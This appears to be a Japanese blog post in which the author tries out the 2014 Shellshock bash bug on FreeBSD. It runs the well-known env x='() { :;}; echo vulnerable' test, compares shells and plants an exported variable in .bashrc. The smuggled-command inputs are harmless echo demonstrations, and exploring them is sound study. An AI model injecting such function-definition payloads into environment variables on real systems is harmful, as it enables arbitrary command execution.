これ http://seclists.org/oss-sec/2014/q3/649いろんな方がわかりやすく解説・まとめておられるので、そういうのがほしい方はそちらを読むといいと思います。ここでは遊んでみるだけですので参考にはなりませぬ。
あと、Linuxじゃないです。

### 環境について ``` $ uname -a FreeBSD test 10.0-RELEASE FreeBSD 10.0-RELEASE #0 r260789: Thu Jan 16 22:34:59 UTC 2014 root@snap.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64

$ bash –version GNU bash, version 4.3.24(0)-release (amd64-portbld-freebsd10.0) Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</div>
<div class="section">
    ### まずは普通にテスト
    ```sh
[kunst@test ~]$ env x=&#39;() { :;}; echo vulnerable&#39; bash -c "echo lovenico!"
vulnerable
lovenico!

[kunst@test ~]$ env x=&#39;() { :;}; echo vulnerable&#39; bash -c &#39;ls&#39;
vulnerable
aaa

[kunst@test ~]$ env x=&#39;() { :;}; echo vulnerable&#39; echo hogehoge
hogehoge

[kunst@test ~]$ env x=&#39;() { :;}; echo vulnerable&#39; ls
aaa

[kunst@test ~]$ env x=&#39;() { :;}; echo vulnerable&#39;
x=() { :;}; echo vulnerable
HOST=test
### 以下略

### ちょと待て、envコマンドについてちゃんと理解していない ``` $ man env ENV(1) FreeBSD General Commands Manual ENV(1)

NAME env – set environment and execute command, or print environment

SYNOPSIS env [-iv] [-P altpath] [-S string] [-u name] [name=value …] [utility [argument …]]

DESCRIPTION The env utility executes another utility after modifying the environment as specified on the command line. Each name=value option specifies the setting of an environment variable, name, with a value of value. All such environment variables are set before the utility is executed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
envコマンドは環境変数を書き換えてからコマンドを実行するコマンド。

</div>
<div class="section">
    ### もう一度確認してみよう
    ```sh
[kunst@test ~]$ echo $SHELL
/usr/local/bin/bash
[kunst@test ~]$ env x=&#39;() { :;}; echo aho&#39; bash -c "echo"
aho

[kunst@test ~]$ env x=&#39;() { :;}; echo aho&#39; sh -c "echo"

[kunst@test ~]$ env x=&#39;() { :;}; echo aho&#39; csh -c "echo"

[kunst@test ~]$ env x=&#39;() { :;}; echo aho&#39; tcsh -c "echo"

``````sh
$ echo $SHELL
/bin/tcsh
$ env x=&#39;() { :;}; echo aho&#39; bash -c "echo"
aho

$ env x=&#39;() { :;}; echo aho&#39; sh -c "echo"

$ env x=&#39;() { :;}; echo aho&#39; csh -c "echo"

$ env x=&#39;() { :;}; echo aho&#39; tcsh -c "echo"

```なるほど、つまりこういうことね
```sh
$ echo "x=&#39;() { :;}; echo aho&#39;">>.bashrc
$ bash
[kunst@test ~]$ 
[kunst@test ~]$ echo $x
() { :;}; echo aho

```・・・・・・ありゃ???
```sh
$ echo "export x=&#39;() { :;}; echo aho&#39;" > .bashrc
$ bash
[kunst@test ~]$ bash
aho

```おお、なるほど、うむ。

</div>
<div class="section">
    ### つまり
    「関数定義とコマンドが並べて書かれた環境変数を保持したbashからbashを呼び出すとコマンドが実行される」っていう現象なんですねぇ。

</div>